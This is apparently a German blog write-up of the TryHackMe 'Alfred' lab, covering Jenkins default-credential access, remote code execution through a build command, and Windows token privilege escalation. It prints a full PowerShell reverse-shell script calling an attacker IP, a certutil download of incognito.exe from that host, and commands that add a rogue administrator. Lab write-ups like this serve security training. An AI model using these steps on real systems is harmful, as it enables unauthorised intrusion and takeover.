Alfred – TryHackMe – Anleitung zum Schreiben

Reading Time: ( Word Count: )

Februar 22, 2021
Nextdoorsec-course

Intro

Wir nutzen eine häufige Fehlkonfiguration eines weit verbreiteten Automatisierungsservers (Jenkins) aus und verschaffen uns über Windows-Tokens Zugang.

 

Aufzählung

 

Nmap-Scan

┌──(kali㉿kali)-[~] └─$ export IP=10.10.117.45 ┌──(kali㉿kali)-[~] └─$ nmap -p- -A -Pn -v $IP
PORT ZUSTAND SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: | Unterstützte Methoden: OPTIONS TRACE GET HEAD POST |_ Potenziell riskante Methoden: TRACE |_http-server-header: Microsoft-IIS/7.5 |_http-title: Die Website hat keinen Titel (text/html). 3389/tcp offen tcpwrapped | ssl-zertifikat: Betreff: commonName=alfred | Emittent: commonName=alfred | Typ des öffentlichen Schlüssels: rsa | Öffentlicher Schlüssel Bits: 2048 | Signatur-Algorithmus: sha1WithRSAEncryption | Nicht gültig vor: 2020-10-02T14:42:05 | Nicht gültig nach: 2021-04-03T14:42:05 | MD5: fdb2 cd17 fad1 160d 06bc c1d8 31f3 7636 |_SHA-1: 6577 409f 2b1a 3e36 7ca7 4449 57f2 98c1 8750 3a3e |_ssl-date: 2021-02-06T18:18:26+00:00; -1s ab Scanner-Zeit. 8080/tcp open http Jetty 9.4.z-SNAPSHOT |_http-favicon: Unbekanntes Favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1 | http-robots.txt: 1 unzulässiger Eintrag |_/ |_http-server-header: Jetty(9.4.z-SNAPSHOT) |_http-title: Die Website hat keinen Titel (text/html;charset=utf-8).

Nichts Interessantes auf Port 80, ein offener RDP-Port auf 3389 und ein weiterer http-Webserver auf Port 8080 mit einem Anmeldeformular. Der Versuch, sich mit admin:admin anzumelden, ist erfolgreich.

Ausbeutung

Entfernte Code-Ausführung

Nachdem ich mir das Tool angesehen hatte, fand ich eine Möglichkeit, Befehle auf dem zugrunde liegenden System auszuführen:

1. Klicken Sie auf der Startseite auf „Projekt“:

 

2. „Konfigurieren“ auf der linken Seite:

 

2.1 Konfigurieren Sie Ihr Reverse-Shell-Skript, starten Sie einen Listener und einen http-Server:

┌──(kali㉿kali)-[~] └─$ cat revsh.ps1 $client = New-Object System.Net.Sockets.TCPClient('10.8.152.223',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text .encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close(); ┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443 ┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300

 

3. Scrollen Sie nach unten und geben Sie Ihren Befehl in das Feld „Befehl“ ein und speichern Sie:

 

4. Nachdem Sie auf „Build“ geklickt haben, sollten Sie eine Reverse Shell erhalten:

hören auf [any] 443 ... Verbindung zu [10 .8.152.221] von (UNBEKANNT) [10 .10.117.45] 50077 PS C:\Program Files (x86)\Jenkins\workspace\project> whoami alfred\bruce PS C:\Program Files (x86)\Jenkins\workspace\project>

Privilegieneskalation

PS > whoami /priv
INFORMATIONEN ZU PRIVILEGIEN ---------------------- Privileg Name Beschreibung Status =============================== ========================================= ======== SeDebugPrivilege Programme debuggen Aktiviert SeImpersonatePrivilege Einen Client nach der Authentifizierung impersonieren Aktiviert SeCreateGlobalPrivilege Globale Objekte erstellen Aktiviert

SeDebugPrivilege & SeCreateGlobalPrivilege sind für bruce aktiviert. Mit diesen Token können wir uns als ein anderer Benutzer ausgeben oder sogar einen Benutzer erstellen und ihm administrative Rechte zuweisen.

 

Damit dies funktioniert, müssen wir eine Binärdatei namens incognito.exe herunterladen. Wir können sie anschließend von einem lokalen http-Server übertragen.

┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300
PS > certutil.exe -urlcache -split -f "http://10.8.152.221:5300/incognito.exe" incognito.exe

Nun, da wir die Binärdatei auf den Zielcomputer heruntergeladen haben, können wir sie verwenden, um einen Benutzer hinzuzufügen.

PS > ./incognito.exe add_user nextdoorsec passwordd
PS > ./incognito.exe add_localgroup_user Administratoren nextdoorsec ┌──(kali㉿kali)-[~] └─$ rdesktop -u nextdoorsec -p passwordd $IP

Wir haben einen Benutzer namens „nextdoorsec“ mit dem Kennwort „passwordd“ hinzugefügt und ihn anschließend der Gruppe „Administrators“ zugewiesen. Um dies zu testen, können Sie eine Verbindung zum offenen RDP-Port herstellen.

Aydan

Aydan

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

Die Popularität des Esports und seine Trends

Esports, die Welt der wettbewerbsorientierten Videospiele, ist in den letzten Jahren sehr populär geworden. Es ...

Online-Spiele, bei denen Sie Geld gewinnen können

Im digitalen Zeitalter sind Online-Spiele mehr als nur eine Quelle der Unterhaltung geworden. Es hat sich zu einer ...

Netstat vs. Nmap vs. Netcat: Verstehen der Unterschiede

In der Netzwerk- und Systemadministration helfen verschiedene Tools den Fachleuten bei der Analyse und ...

Nmap vs. Nessus: Ein umfassender Vergleich

Was die Netzwerksicherheit und die Bewertung von Schwachstellen anbelangt, so sind Nmap und Nessus zwei populäre ...
0 Kommentare

Einen Kommentar abschicken

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert